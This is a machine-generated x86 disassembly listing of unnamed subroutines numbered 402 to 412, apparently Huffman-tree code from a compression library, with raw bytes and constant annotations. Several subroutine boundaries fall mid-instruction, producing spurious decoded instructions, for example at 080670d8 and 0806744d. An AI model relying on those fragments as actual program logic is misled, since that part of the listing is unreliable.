08066eec  8b 4d f0                 mov     0xfffffff0(%ebp),%ecx
08066eef  66 89 74 99 02           mov     %si,0x2(%ecx,%ebx,4)
08066ef4  3b 5d ec                 cmp     0xffffffec(%ebp),%ebx
08066ef7  7f 52                    jg      08066f4b <Unknown0402+0x10b>
08066ef9  8b 45 08                 mov     0x8(%ebp),%eax
08066efc  66 ff 84 70 30 0b 00 00  incw    0xb30(%eax,%esi,2)   ;2864 'x30 xb x0 x0' "0"
```

```
08066f04   31 ff                      xor    %edi,%edi
08066f06   3b 5d e0                   cmp    0xffffffe0(%ebp),%ebx
08066f09   7c 0b                      jl     08066f16 <Unknown0402+0xd6>
08066f0b   89 d8                      mov    %ebx,%eax
08066f0d   2b 45 e0                   sub    0xffffffe0(%ebp),%eax
08066f10   8b 55 e4                   mov    0xffffffe4(%ebp),%edx
08066f13   8b 3c 82                   mov    (%edx,%eax,4),%edi
08066f16   8b 45 f0                   mov    0xfffffff0(%ebp),%eax
08066f19   0f b7 0c 98                movzwl (%eax,%ebx,4),%ecx
08066f1d   8d 14 37                   lea    (%edi,%esi,1),%edx
08066f20   89 c8                      mov    %ecx,%eax
08066f22   0f af c2                   imul   %edx,%eax
08066f25   8b 55 08                   mov    0x8(%ebp),%edx
08066f28   01 82 9c 16 00 00          add    %eax,0x169c(%edx)  ;5788 'x9c x16 x0 x0' ""
08066f2e   8b 45 e8                   mov    0xffffffe8(%ebp),%eax
08066f31   85 c0                      test   %eax,%eax
08066f33   74 16                      je     08066f4b <Unknown0402+0x10b>
08066f35   8b 55 e8                   mov    0xffffffe8(%ebp),%edx
08066f38   0f b7 44 9a 02             movzwl 0x2(%edx,%ebx,4),%eax
08066f3d   01 f8                      add    %edi,%eax
08066f3f   0f af c8                   imul   %eax,%ecx
08066f42   8b 45 08                   mov    0x8(%ebp),%eax
08066f45   01 88 a0 16 00 00          add    %ecx,0x16a0(%eax)  ;5792 'xa0 x16 x0 x0' ""
08066f4b   ff 45 d8                   incl   0xffffffd8(%ebp)
08066f4e   83 45 cc 04                addl   $0x4,0xffffffcc(%ebp)
08066f52   81 7d d8 3c 02 00 00       cmpl   $0x23c,0xffffffd8(%ebp)  ;572 'x3c x2 x0 x0' "<"
08066f59   0f 8e 6d ff ff ff          jle    08066ecc <Unknown0402+0x8c>  ;-147 'x6d xff xff xff' "m"
08066f5f   8b 75 d4                   mov    0xffffffd4(%ebp),%esi
08066f62   85 f6                      test   %esi,%esi
08066f64   0f 84 cb 00 00 00          je     08067035 <Unknown0402+0x1f5>  ;203 'xcb x0 x0 x0' ""
08066f6a   8b 4d dc                   mov    0xffffffdc(%ebp),%ecx
08066f6d   8d 94 09 30 0b 00 00       lea    0xb30(%ecx,%ecx,1),%edx  ;2864 'x30 xb x0 x0' "0"
08066f74   8b 75 dc                   mov    0xffffffdc(%ebp),%esi
08066f77   4e                         dec    %esi
08066f78   8d 04 36                   lea    (%esi,%esi,1),%eax
08066f7b   8b 4d 08                   mov    0x8(%ebp),%ecx
08066f7e   66 83 bc 01 30 0b 00 00 00 cmpw   $0x0,0xb30(%ecx,%eax,1)  ;2864 'x30 xb x0 x0' "0"
08066f87   75 11                      jne    08066f9a <Unknown0402+0x15a>
08066f89   8d 84 01 30 0b 00 00       lea    0xb30(%ecx,%eax,1),%eax  ;2864 'x30 xb x0 x0' "0"
08066f90   83 e8 02                   sub    $0x2,%eax
08066f93   4e                         dec    %esi
08066f94   66 83 38 00                cmpw   $0x0,(%eax)
08066f98   74 f6                      je     08066f90 <Unknown0402+0x150>
08066f9a   8b 4d 08                   mov    0x8(%ebp),%ecx
08066f9d   8d 04 36                   lea    (%esi,%esi,1),%eax
08066fa0   66 ff 8c 01 30 0b 00 00    decw   0xb30(%ecx,%eax,1)  ;2864 'x30 xb x0 x0' "0"
08066fa8   66 83 84 01 32 0b 00 00 02 addw   $0x2,0xb32(%ecx,%eax,1)  ;2866 'x32 xb x0 x0' "2"
08066fb1   66 ff 0c 0a                decw   (%edx,%ecx,1)
08066fb5   83 6d d4 02                subl   $0x2,0xffffffd4(%ebp)
08066fb9   8b 5d d4                   mov    0xffffffd4(%ebp),%ebx
08066fbc   85 db                      test   %ebx,%ebx
08066fbe   7f b4                      jg     08066f74 <Unknown0402+0x134>
08066fc0   8b 75 dc                   mov    0xffffffdc(%ebp),%esi
08066fc3   85 f6                      test   %esi,%esi
08066fc5   74 6e                      je     08067035 <Unknown0402+0x1f5>
08066fc7   8b 55 d8                   mov    0xffffffd8(%ebp),%edx
08066fca   8d 84 71 30 0b 00 00       lea    0xb30(%ecx,%esi,2),%eax  ;2864 'x30 xb x0 x0' "0"
08066fd1   8d 14 91                   lea    (%ecx,%edx,4),%edx
08066fd4   89 45 d0                   mov    %eax,0xffffffd0(%ebp)
08066fd7   89 55 c8                   mov    %edx,0xffffffc8(%ebp)
08066fda   89 f6                      mov    %esi,%esi
08066fdc   8b 4d d0                   mov    0xffffffd0(%ebp),%ecx
08066fdf   0f b7 19                   movzwl (%ecx),%ebx
08066fe2   85 db                      test   %ebx,%ebx
08066fe4   74 48                      je     0806702e <Unknown0402+0x1ee>
08066fe6   8b 7d c8                   mov    0xffffffc8(%ebp),%edi
08066fe9   81 c7 50 0b 00 00          add    $0xb50,%edi  ;2896 'x50 xb x0 x0' "P"
08066fef   90                         nop
08066ff0   83 ef 04                   sub    $0x4,%edi
08066ff3   83 6d c8 04                subl   $0x4,0xffffffc8(%ebp)
08066ff7   8b 0f                      mov    (%edi),%ecx
08066ff9   3b 4d ec                   cmp    0xffffffec(%ebp),%ecx
08066ffc   7f 2c                      jg     0806702a <Unknown0402+0x1ea>
08066ffe   8b 45 f0                   mov    0xfffffff0(%ebp),%eax
08067001   0f b7 54 88 02             movzwl 0x2(%eax,%ecx,4),%edx
08067006   39 f2                      cmp    %esi,%edx
08067008   74 1f                      je     08067029 <Unknown0402+0x1e9>
0806700a   89 f0                      mov    %esi,%eax
0806700c   29 d0                      sub    %edx,%eax
0806700e   8b 55 f0                   mov    0xfffffff0(%ebp),%edx
08067011   0f b7 14 8a                movzwl (%edx,%ecx,4),%edx
08067015   0f af c2                   imul   %edx,%eax
08067018   8b 55 08                   mov    0x8(%ebp),%edx
0806701b   01 82 9c 16 00 00          add    %eax,0x169c(%edx)  ;5788 'x9c x16 x0 x0' ""
```

```
08067021  8b 45 f0           mov     0xfffffff0(%ebp),%eax
08067024  66 89 74 88 02      mov     %si,0x2(%eax,%ecx,4)
08067029  4b                 dec     %ebx
0806702a  85 db              test    %ebx,%ebx
0806702c  75 c2              jne     08066ff0 <Unknown0402+0x1b0>
0806702e  83 6d d0 02         subl    $0x2,0xffffffd0(%ebp)
08067032  4e                 dec     %esi
08067033  75 a7              jne     08066fdc <Unknown0402+0x19c>
08067035  83 c4 30           add     $0x30,%esp
08067038  5b                 pop     %ebx
08067039  5e                 pop     %esi
0806703a  5f                 pop     %edi
0806703b  5d                 pop     %ebp
0806703c  c3                 ret
0806703d  8d 76 00           lea     0x0(%esi),%esi


  ;
  ; >---------------------<  Subroutine # 403 >---------------------<
  ;
08067040  <Unknown0403>:
08067040  55                 push    %ebp
08067041  89 e5              mov     %esp,%ebp
08067043  57                 push    %edi
08067044  56                 push    %esi
08067045  53                 push    %ebx
08067046  83 ec 2c           sub     $0x2c,%esp
08067049  31 c0              xor     %eax,%eax
0806704b  8b 7d 08           mov     0x8(%ebp),%edi
0806704e  8b 5d 10           mov     0x10(%ebp),%ebx
08067051  ba 02 00 00 00      mov     $0x2,%edx   ;2 'x2 x0 x0 x0' ""
08067056  b9 0e 00 00 00      mov     $0xe,%ecx   ;14 'xe x0 x0 x0' ""
0806705b  90                 nop
0806705c  66 03 44 13 fe      add     0xfffffffe(%ebx,%edx,1),%ax
08067061  d1 e0              shl     %eax
08067063  66 89 44 15 c8      mov     %ax,0xffffffc8(%ebp,%edx,1)
08067068  83 c2 02           add     $0x2,%edx
0806706b  49                 dec     %ecx
0806706c  79 ee              jns     0806705c <Unknown0403+0x1c>
0806706e  31 db              xor     %ebx,%ebx
08067070  3b 5d 0c           cmp     0xc(%ebp),%ebx
08067073  7f 2d              jg      080670a2 <Unknown0403+0x62>
08067075  8d 75 c8           lea     0xffffffc8(%ebp),%esi
08067078  0f b7 44 9f 02      movzwl  0x2(%edi,%ebx,4),%eax
0806707d  85 c0              test    %eax,%eax
0806707f  74 1b              je      0806709c <Unknown0403+0x5c>
08067081  83 ec 08           sub     $0x8,%esp
08067084  50                 push    %eax
08067085  d1 e0              shl     %eax
08067087  0f b7 14 30         movzwl  (%eax,%esi,1),%edx
0806708b  52                 push    %edx
0806708c  66 ff 04 30         incw    (%eax,%esi,1)
08067090  e8 8b 16 00 00      call    08068720 <Unknown0421>
08067095  66 89 04 9f         mov     %ax,(%edi,%ebx,4)
08067099  83 c4 10           add     $0x10,%esp
0806709c  43                 inc     %ebx
0806709d  3b 5d 0c           cmp     0xc(%ebp),%ebx
080670a0  7e d6              jle     08067078 <Unknown0403+0x38>
080670a2  8d 65 f4           lea     0xfffffff4(%ebp),%esp
080670a5  5b                 pop     %ebx
080670a6  5e                 pop     %esi
080670a7  5f                 pop     %edi
080670a8  5d                 pop     %ebp
080670a9  c3                 ret
080670aa  89 f6              mov     %esi,%esi


  ;
  ; >---------------------<  Subroutine # 404 >---------------------<
  ;
080670ac  <Unknown0404>:
080670ac  55                 push    %ebp
080670ad  89 e5              mov     %esp,%ebp
080670af  57                 push    %edi
080670b0  56                 push    %esi
080670b1  53                 push    %ebx
080670b2  83 ec 2c           sub     $0x2c,%esp
080670b5  8b 45 0c           mov     0xc(%ebp),%eax
080670b8  8b 00              mov     (%eax),%eax
080670ba  89 45 f0           mov     %eax,0xfffffff0(%ebp)
080670bd  8b 55 0c           mov     0xc(%ebp),%edx
080670c0  8b 42 08           mov     0x8(%edx),%eax
080670c3  8b 08              mov     (%eax),%ecx
080670c5  31 ff              xor     %edi,%edi
```

```
080670c7  8b 40 0c                mov     0xc(%eax),%eax
080670ca  8b 75 08                mov     0x8(%ebp),%esi
080670cd  39 c7                   cmp     %eax,%edi
080670cf  89 45 ec                mov     %eax,0xffffffec(%ebp)
080670d2  c7 45 e8 ff ff ff ff    movl    $0xffffffff,0xffffffe8(%ebp)


  ;
  ; >--------------------<  Subroutine # 405 >--------------------<
  ;
080670d8 <Unknown0405>:
080670d8  ff c7                   inc     %edi
080670da  86 44 14 00             xchg    %al,0x0(%esp,%edx,1)
080670de  00 00                   add     %al,(%eax)
080670e0  00 00                   add     %al,(%eax)
080670e2  00 c7                   add     %al,%bh
080670e4  86 48 14                xchg    %cl,0x14(%eax)
080670e7  00 00                   add     %al,(%eax)
080670e9  3d 02 00 00 7d          cmp     $0x7d000002,%eax   ;2097152002 'x2 x0 x0 x7d' ""
080670ee  4a                      dec     %edx
080670ef  8d 5e 0c                lea     0xc(%esi),%ebx
080670f2  89 5d dc                mov     %ebx,0xffffffdc(%ebp)
080670f5  ba 40 14 00 00          mov     $0x1440,%edx   ;5184 'x40 x14 x0 x0' "@"
080670fa  89 f6                   mov     %esi,%esi
080670fc  8b 45 f0                mov     0xfffffff0(%ebp),%eax
080670ff  66 83 3c b8 00          cmpw    $0x0,(%eax,%edi,4)
08067104  74 22                   je      08067128 <Unknown0405+0x50>
08067106  8b 86 44 14 00 00       mov     0x1444(%esi),%eax   ;5188 'x44 x14 x0 x0' "D"
0806710c  40                      inc     %eax
0806710d  89 86 44 14 00 00       mov     %eax,0x1444(%esi)   ;5188 'x44 x14 x0 x0' "D"
08067113  89 7d e8                mov     %edi,0xffffffe8(%ebp)
08067116  89 bc 86 50 0b 00 00    mov     %edi,0xb50(%esi,%eax,4)   ;2896 'x50 xb x0 x0' "P"
0806711d  8b 5d dc                mov     0xffffffdc(%ebp),%ebx
08067120  c6 04 1a 00             movb    $0x0,(%edx,%ebx,1)
08067124  eb 0c                   jmp     08067132 <Unknown0405+0x5a>
08067126  89 f6                   mov     %esi,%esi
08067128  8b 45 f0                mov     0xfffffff0(%ebp),%eax
0806712b  66 c7 44 b8 02 00 00    movw    $0x0,0x2(%eax,%edi,4)
08067132  47                      inc     %edi
08067133  42                      inc     %edx
08067134  3b 7d ec                cmp     0xffffffec(%ebp),%edi
08067137  7c c3                   jl      080670fc <Unknown0405+0x24>
08067139  8b 86 44 14 00 00       mov     0x1444(%esi),%eax   ;5188 'x44 x14 x0 x0' "D"
0806713f  83 f8 01                cmp     $0x1,%eax
08067142  7f 57                   jg      0806719b <Unknown0405+0xc3>
08067144  8d 7e 0c                lea     0xc(%esi),%edi
08067147  90                      nop
08067148  40                      inc     %eax
08067149  89 86 44 14 00 00       mov     %eax,0x1444(%esi)   ;5188 'x44 x14 x0 x0' "D"
0806714f  83 7d e8 01             cmpl    $0x1,0xffffffe8(%ebp)
08067153  8d 84 86 50 0b 00 00    lea     0xb50(%esi,%eax,4),%eax   ;2896 'x50 xb x0 x0' "P"
0806715a  7f 08                   jg      08067164 <Unknown0405+0x8c>
0806715c  ff 45 e8                incl    0xffffffe8(%ebp)
0806715f  8b 55 e8                mov     0xffffffe8(%ebp),%edx
08067162  eb 02                   jmp     08067166 <Unknown0405+0x8e>
08067164  31 d2                   xor     %edx,%edx
08067166  89 10                   mov     %edx,(%eax)
08067168  89 d3                   mov     %edx,%ebx
0806716a  8b 55 f0                mov     0xfffffff0(%ebp),%edx
0806716d  66 c7 04 9a 01 00       movw    $0x1,(%edx,%ebx,4)
08067173  c6 84 1f 40 14 00 00 00 movb    $0x0,0x1440(%edi,%ebx,1)   ;5184 'x40 x14 x0 x0' "@"
0806717b  ff 8e 9c 16 00 00       decl    0x169c(%esi)   ;5788 'x9c x16 x0 x0' ""
08067181  85 c9                   test    %ecx,%ecx
08067183  74 0b                   je      08067190 <Unknown0405+0xb8>
08067185  0f b7 44 99 02          movzwl  0x2(%ecx,%ebx,4),%eax
0806718a  29 86 a0 16 00 00       sub     %eax,0x16a0(%esi)   ;5792 'xa0 x16 x0 x0' ""
08067190  8b 86 44 14 00 00       mov     0x1444(%esi),%eax   ;5188 'x44 x14 x0 x0' "D"
08067196  83 f8 01                cmp     $0x1,%eax
08067199  7e ad                   jle     08067148 <Unknown0405+0x70>
0806719b  8b 5d e8                mov     0xffffffe8(%ebp),%ebx
0806719e  8b 4d 0c                mov     0xc(%ebp),%ecx
080671a1  89 59 04                mov     %ebx,0x4(%ecx)
080671a4  8b 96 44 14 00 00       mov     0x1444(%esi),%edx   ;5188 'x44 x14 x0 x0' "D"
080671aa  89 d0                   mov     %edx,%eax
080671ac  c1 e8 1f                shr     $0x1f,%eax
080671af  8d 3c 10                lea     (%eax,%edx,1),%edi
080671b2  d1 ff                   sar     %edi
080671b4  85 ff                   test    %edi,%edi
080671b6  7e 19                   jle     080671d1 <Unknown0405+0xf9>
080671b8  53                      push    %ebx
080671b9  57                      push    %edi
080671ba  ff 75 f0                pushl   0xfffffff0(%ebp)
080671bd  56                      push    %esi
080671be  4f                      dec     %edi
```

```
080671bf   e8 88 fb ff ff        call    08066d4c <Unknown0401>
080671c4   83 c4 10              add     $0x10,%esp
080671c7   85 ff                 test    %edi,%edi
080671c9   7f ed                 jg      080671b8 <Unknown0405+0xe0>
080671cb   8b 96 44 14 00 00     mov     0x1444(%esi),%edx   ;5188 'x44 x14 x0 x0' "D"
080671d1   8d 46 0c              lea     0xc(%esi),%eax
080671d4   8b 5d ec              mov     0xffffffec(%ebp),%ebx
080671d7   89 45 e0              mov     %eax,0xffffffe0(%ebp)
080671da   89 f6                 mov     %esi,%esi
080671dc   8b 84 96 50 0b 00 00  mov     0xb50(%esi,%edx,4),%eax   ;2896 'x50 xb x0 x0' "P"
080671e3   8b be 54 0b 00 00     mov     0xb54(%esi),%edi    ;2900 'x54 xb x0 x0' "T"
080671e9   89 86 54 0b 00 00     mov     %eax,0xb54(%esi)    ;2900 'x54 xb x0 x0' "T"
080671ef   8d 42 ff              lea     0xffffffff(%edx),%eax
080671f2   89 86 44 14 00 00     mov     %eax,0x1444(%esi)   ;5188 'x44 x14 x0 x0' "D"
080671f8   51                    push    %ecx
080671f9   6a 01                 push    $0x1
080671fb   ff 75 f0              pushl   0xfffffff0(%ebp)
080671fe   56                    push    %esi
080671ff   e8 48 fb ff ff        call    08066d4c <Unknown0401>
08067204   8b 86 54 0b 00 00     mov     0xb54(%esi),%eax    ;2900 'x54 xb x0 x0' "T"
0806720a   89 45 d4              mov     %eax,0xffffffd4(%ebp)
0806720d   8b 86 48 14 00 00     mov     0x1448(%esi),%eax   ;5192 'x48 x14 x0 x0' "H"
08067213   48                    dec     %eax
08067214   89 86 48 14 00 00     mov     %eax,0x1448(%esi)   ;5192 'x48 x14 x0 x0' "H"
0806721a   89 bc 86 50 0b 00 00  mov     %edi,0xb50(%esi,%eax,4)   ;2896 'x50 xb x0 x0' "P"
08067221   8b 86 48 14 00 00     mov     0x1448(%esi),%eax   ;5192 'x48 x14 x0 x0' "H"
08067227   48                    dec     %eax
08067228   89 86 48 14 00 00     mov     %eax,0x1448(%esi)   ;5192 'x48 x14 x0 x0' "H"
0806722e   8b 55 d4              mov     0xffffffd4(%ebp),%edx
08067231   89 94 86 50 0b 00 00  mov     %edx,0xb50(%esi,%eax,4)   ;2896 'x50 xb x0 x0' "P"
08067238   8b 4d f0              mov     0xfffffff0(%ebp),%ecx
0806723b   66 8b 04 91           mov     (%ecx,%edx,4),%ax
0806723f   66 03 04 b9           add     (%ecx,%edi,4),%ax
08067243   66 89 04 99           mov     %ax,(%ecx,%ebx,4)
08067247   8d 83 40 14 00 00     lea     0x1440(%ebx),%eax   ;5184 'x40 x14 x0 x0' "@"
0806724d   89 45 e4              mov     %eax,0xffffffe4(%ebp)
08067250   8b 4d e0              mov     0xffffffe0(%ebp),%ecx
08067253   8b 45 d4              mov     0xffffffd4(%ebp),%eax
08067256   8a 94 39 40 14 00 00  mov     0x1440(%ecx,%edi,1),%dl   ;5184 'x40 x14 x0 x0' "@"
0806725d   8a 84 01 40 14 00 00  mov     0x1440(%ecx,%eax,1),%al   ;5184 'x40 x14 x0 x0' "@"
08067264   83 c4 10              add     $0x10,%esp
08067267   38 c2                 cmp     %al,%dl
08067269   88 45 db              mov     %al,0xffffffdb(%ebp)
0806726c   73 03                 jae     08067271 <Unknown0405+0x199>
0806726e   8a 55 db              mov     0xffffffdb(%ebp),%dl
08067271   42                    inc     %edx
08067272   88 55 db              mov     %dl,0xffffffdb(%ebp)
08067275   8b 55 e4              mov     0xffffffe4(%ebp),%edx
08067278   8a 4d db              mov     0xffffffdb(%ebp),%cl
0806727b   8b 45 e0              mov     0xffffffe0(%ebp),%eax
0806727e   88 0c 02              mov     %cl,(%edx,%eax,1)
08067281   8b 45 f0              mov     0xfffffff0(%ebp),%eax
08067284   8b 4d d4              mov     0xffffffd4(%ebp),%ecx
08067287   66 89 5c 88 02        mov     %bx,0x2(%eax,%ecx,4)
0806728c   66 89 5c b8 02        mov     %bx,0x2(%eax,%edi,4)
08067291   89 9e 54 0b 00 00     mov     %ebx,0xb54(%esi)    ;2900 'x54 xb x0 x0' "T"
08067297   52                    push    %edx
08067298   6a 01                 push    $0x1
0806729a   50                    push    %eax
0806729b   56                    push    %esi
0806729c   e8 ab fa ff ff        call    08066d4c <Unknown0401>
080672a1   8b 86 44 14 00 00     mov     0x1444(%esi),%eax   ;5188 'x44 x14 x0 x0' "D"
080672a7   89 c2                 mov     %eax,%edx
080672a9   43                    inc     %ebx
080672aa   83 c4 10              add     $0x10,%esp
080672ad   83 fa 01              cmp     $0x1,%edx
080672b0   0f 8f 26 ff ff ff     jg      080671dc <Unknown0405+0x104>   ;-218 'x26 xff xff xff' "&"
080672b6   8b 86 48 14 00 00     mov     0x1448(%esi),%eax   ;5192 'x48 x14 x0 x0' "H"
080672bc   8b 96 54 0b 00 00     mov     0xb54(%esi),%edx    ;2900 'x54 xb x0 x0' "T"
080672c2   48                    dec     %eax
080672c3   83 ec 08              sub     $0x8,%esp
080672c6   89 86 48 14 00 00     mov     %eax,0x1448(%esi)   ;5192 'x48 x14 x0 x0' "H"
080672cc   89 94 86 50 0b 00 00  mov     %edx,0xb50(%esi,%eax,4)   ;2896 'x50 xb x0 x0' "P"
080672d3   ff 75 0c              pushl   0xc(%ebp)
080672d6   56                    push    %esi
080672d7   e8 64 fb ff ff        call    08066e40 <Unknown0402>
080672dc   83 c4 0c              add     $0xc,%esp
080672df   8d 86 30 0b 00 00     lea     0xb30(%esi),%eax    ;2864 'x30 xb x0 x0' "0"
080672e5   50                    push    %eax
080672e6   ff 75 e8              pushl   0xffffffe8(%ebp)
080672e9   ff 75 f0              pushl   0xfffffff0(%ebp)
080672ec   e8 4f fd ff ff        call    08067040 <Unknown0403>
080672f1   8d 65 f4              lea     0xfffffff4(%ebp),%esp
080672f4   5b                    pop     %ebx
```

```
080672f5   5e                             pop      %esi
080672f6   5f                             pop      %edi
080672f7   5d                             pop      %ebp
080672f8   c3                             ret
080672f9   8d 76 00                       lea      0x0(%esi),%esi


  ;
  ; >---------------------< Subroutine # 406 >--------------------<
  ;
080672fc <Unknown0406>:
080672fc   55                             push     %ebp
080672fd   89 e5                          mov      %esp,%ebp
080672ff   57                             push     %edi
08067300   56                             push     %esi
08067301   53                             push     %ebx
08067302   83 ec 10                       sub      $0x10,%esp
08067305   c7 45 ec ff ff ff ff           movl     $0xffffffff,0xffffffec(%ebp)  ;-1 'xff xff xff xff' ""
0806730c   8b 45 0c                       mov      0xc(%ebp),%eax
0806730f   0f b7 48 02                    movzwl   0x2(%eax),%ecx
08067313   31 f6                          xor      %esi,%esi
08067315   85 c9                          test     %ecx,%ecx
08067317   8b 55 08                       mov      0x8(%ebp),%edx
0806731a   c7 45 e8 07 00 00 00           movl     $0x7,0xffffffe8(%ebp)
08067321   c7 45 e4 04 00 00 00           movl     $0x4,0xffffffe4(%ebp)   ;4 'x4 x0 x0 x0' ""


  ;
  ; >---------------------< Subroutine # 407 >--------------------<
  ;
08067328 <Unknown0407>:
08067328   75 0e                          jne      08067338 <Unknown0407+0x10>
0806732a   c7 45 e8 8a 00 00 00           movl     $0x8a,0xffffffe8(%ebp)
08067331   c7 45 e4 03 00 00 00           movl     $0x3,0xffffffe4(%ebp)   ;3 'x3 x0 x0 x0' ""
08067338   8b 5d 10                       mov      0x10(%ebp),%ebx
0806733b   8b 7d 0c                       mov      0xc(%ebp),%edi
0806733e   66 c7 44 9f 06 ff ff           movw     $0xffff,0x6(%edi,%ebx,4)
08067345   c7 45 f0 00 00 00 00           movl     $0x0,0xfffffff0(%ebp)   ;0 'x0 x0 x0 x0' ""
0806734c   39 5d f0                       cmp      %ebx,0xfffffff0(%ebp)
0806734f   0f 8f a8 00 00 00              jg       080673fd <Unknown0410+0xf>   ;168 'xa8 x0 x0 x0' ""
08067355   8d 76 00                       lea      0x0(%esi),%esi
08067358   46                             inc      %esi
08067359   8b 5d f0                       mov      0xfffffff0(%ebp),%ebx
0806735c   8b 7d 0c                       mov      0xc(%ebp),%edi
0806735f   3b 75 e8                       cmp      0xffffffe8(%ebp),%esi
08067362   89 c8                          mov      %ecx,%eax
08067364   0f b7 4c 9f 06                 movzwl   0x6(%edi,%ebx,4),%ecx
08067369   7d 04                          jge      0806736f <Unknown0407+0x47>
0806736b   39 c8                          cmp      %ecx,%eax
0806736d   74 7f                          je       080673ee <Unknown0410>
0806736f   3b 75 e4                       cmp      0xffffffe4(%ebp),%esi
08067372   7d 0c                          jge      08067380 <Unknown0407+0x58>
08067374   66 01 b4 82 70 0a 00 00        add      %si,0xa70(%edx,%eax,4)   ;2672 'x70 xa x0 x0' "p"
0806737c   eb 35                          jmp      080673b3 <Unknown0407+0x8b>
0806737e   89 f6                          mov      %esi,%esi
08067380   85 c0                          test     %eax,%eax
08067382   74 18                          je       0806739c <Unknown0407+0x74>
08067384   3b 45 ec                       cmp      0xffffffec(%ebp),%eax
08067387   74 08                          je       08067391 <Unknown0407+0x69>
08067389   66 ff 84 82 70 0a 00 00        incw     0xa70(%edx,%eax,4)   ;2672 'x70 xa x0 x0' "p"
08067391   66 ff 82 b0 0a 00 00           incw     0xab0(%edx)   ;2736 'xb0 xa x0 x0' ""
08067398   eb 19                          jmp      080673b3 <Unknown0407+0x8b>
0806739a   89 f6                          mov      %esi,%esi
0806739c   83 fe 0a                       cmp      $0xa,%esi
0806739f   7f 0b                          jg       080673ac <Unknown0407+0x84>
080673a1   66 ff 82 b4 0a 00 00           incw     0xab4(%edx)   ;2740 'xb4 xa x0 x0' ""
080673a8   eb 09                          jmp      080673b3 <Unknown0407+0x8b>
080673aa   89 f6                          mov      %esi,%esi
080673ac   66 ff 82 b8 0a 00 00           incw     0xab8(%edx)   ;2744 'xb8 xa x0 x0' ""
080673b3   31 f6                          xor      %esi,%esi
080673b5   85 c9                          test     %ecx,%ecx
080673b7   89 45 ec                       mov      %eax,0xffffffec(%ebp)
080673ba   75 10                          jne      080673cc <Unknown0408+0x11>


  ;
  ; >---------------------< Subroutine # 408 >--------------------<
  ;
080673bb <Unknown0408>:
080673bb   10 c7                          adc      %al,%bh
080673bd   45                             inc      %ebp
080673be   e8 8a 00 00 00                 call     0806744d <Unknown0412>
080673c3   c7 45 e4 03 00 00 00           movl     $0x3,0xffffffe4(%ebp)   ;3 'x3 x0 x0 x0' ""
080673ca   eb 22                          jmp      080673ee <Unknown0410>
```

```
080673cc  39 c8                       cmp     %ecx,%eax
080673ce  75 10                       jne     080673e0 <Unknown0409+0x3>
080673d0  c7 45 e8 06 00 00 00        movl    $0x6,0xffffffe8(%ebp)
080673d7  c7 45 e4 03 00 00 00        movl    $0x3,0xffffffe4(%ebp)   ;3 'x3 x0 x0 x0' ""


  ;
  ; >----------------------< Subroutine # 409 >----------------------<
  ;
080673dd <Unknown0409>:
080673dd  00 eb                       add     %ch,%bl
080673df  0e                          push    %cs
080673e0  c7 45 e8 07 00 00 00        movl    $0x7,0xffffffe8(%ebp)
080673e7  c7 45 e4 04 00 00 00        movl    $0x4,0xffffffe4(%ebp)   ;4 'x4 x0 x0 x0' ""


  ;
  ; >---------------------< Subroutine # 410 >---------------------<
  ;
080673ee <Unknown0410>:
080673ee  ff 45 f0                    incl    0xfffffff0(%ebp)
080673f1  8b 45 10                    mov     0x10(%ebp),%eax
080673f4  39 45 f0                    cmp     %eax,0xfffffff0(%ebp)
080673f7  0f 8e 5b ff ff ff           jle     08067358 <Unknown0407+0x30>  ;-165 'x5b xff xff xff' "["
080673fd  83 c4 10                    add     $0x10,%esp
08067400  5b                          pop     %ebx
08067401  5e                          pop     %esi
08067402  5f                          pop     %edi
08067403  5d                          pop     %ebp
08067404  c3                          ret
08067405  8d 76 00                    lea     0x0(%esi),%esi


  ;
  ; >---------------------< Subroutine # 411 >---------------------<
  ;
08067408 <Unknown0411>:
08067408  55                          push    %ebp
08067409  89 e5                       mov     %esp,%ebp
0806740b  57                          push    %edi
0806740c  56                          push    %esi
0806740d  53                          push    %ebx
0806740e  83 ec 14                    sub     $0x14,%esp
08067411  8b 45 0c                    mov     0xc(%ebp),%eax
08067414  0f b7 40 02                 movzwl  0x2(%eax),%eax
08067418  89 45 e8                    mov     %eax,0xffffffe8(%ebp)
0806741b  8b 5d e8                    mov     0xffffffe8(%ebp),%ebx
0806741e  85 db                       test    %ebx,%ebx
08067420  8b 75 08                    mov     0x8(%ebp),%esi
08067423  b9 ff ff ff ff              mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
08067428  c7 45 e4 00 00 00 00        movl    $0x0,0xffffffe4(%ebp)   ;0 'x0 x0 x0 x0' ""
0806742f  ba 07 00 00 00              mov     $0x7,%edx   ;7 'x7 x0 x0 x0' ""
08067434  b8 04 00 00 00              mov     $0x4,%eax   ;4 'x4 x0 x0 x0' ""
08067439  75 0a                       jne     08067445 <Unknown0411+0x3d>
0806743b  ba 8a 00 00 00              mov     $0x8a,%edx   ;138 'x8a x0 x0 x0' ""
08067440  b8 03 00 00 00              mov     $0x3,%eax   ;3 'x3 x0 x0 x0' ""
08067445  c7 45 f0 00 00 00 00        movl    $0x0,0xfffffff0(%ebp)   ;0 'x0 x0 x0 x0' ""
0806744c  e9 d4 04 00 00              jmp     08067925 <Unknown0412+0x4d8>   ;1236 'xd4 x4 x0 x0' ""


  ;
  ; >---------------------< Subroutine # 412 >---------------------<
  ;
0806744d <Unknown0412>:
0806744d  d4 04                       aam     $0x4
0806744f  00 00                       add     %al,(%eax)
08067451  8d 76 00                    lea     0x0(%esi),%esi
08067454  8b 7d e8                    mov     0xffffffe8(%ebp),%edi
08067457  89 7d ec                    mov     %edi,0xffffffec(%ebp)
0806745a  8b 5d f0                    mov     0xfffffff0(%ebp),%ebx
0806745d  8b 7d 0c                    mov     0xc(%ebp),%edi
08067460  0f b7 5c 9f 06              movzwl  0x6(%edi,%ebx,4),%ebx
08067465  ff 45 e4                    incl    0xffffffe4(%ebp)
08067468  39 55 e4                    cmp     %edx,0xffffffe4(%ebp)
0806746b  89 5d e8                    mov     %ebx,0xffffffe8(%ebp)
0806746e  7d 09                       jge     08067479 <Unknown0412+0x2c>
08067470  39 5d ec                    cmp     %ebx,0xffffffec(%ebp)
08067473  0f 84 a9 04 00 00           je      08067922 <Unknown0412+0x4d5>   ;1193 'xa9 x4 x0 x0' ""
08067479  39 45 e4                    cmp     %eax,0xffffffe4(%ebp)
0806747c  0f 8d a6 00 00 00           jge     08067528 <Unknown0412+0xdb>   ;166 'xa6 x0 x0 x0' ""
08067482  8b 7d ec                    mov     0xffffffec(%ebp),%edi
08067485  8d 3c bd 70 0a 00 00        lea     0xa70(,%edi,4),%edi   ;2672 'x70 xa x0 x0' "p"
0806748c  89 7d e0                    mov     %edi,0xffffffe0(%ebp)
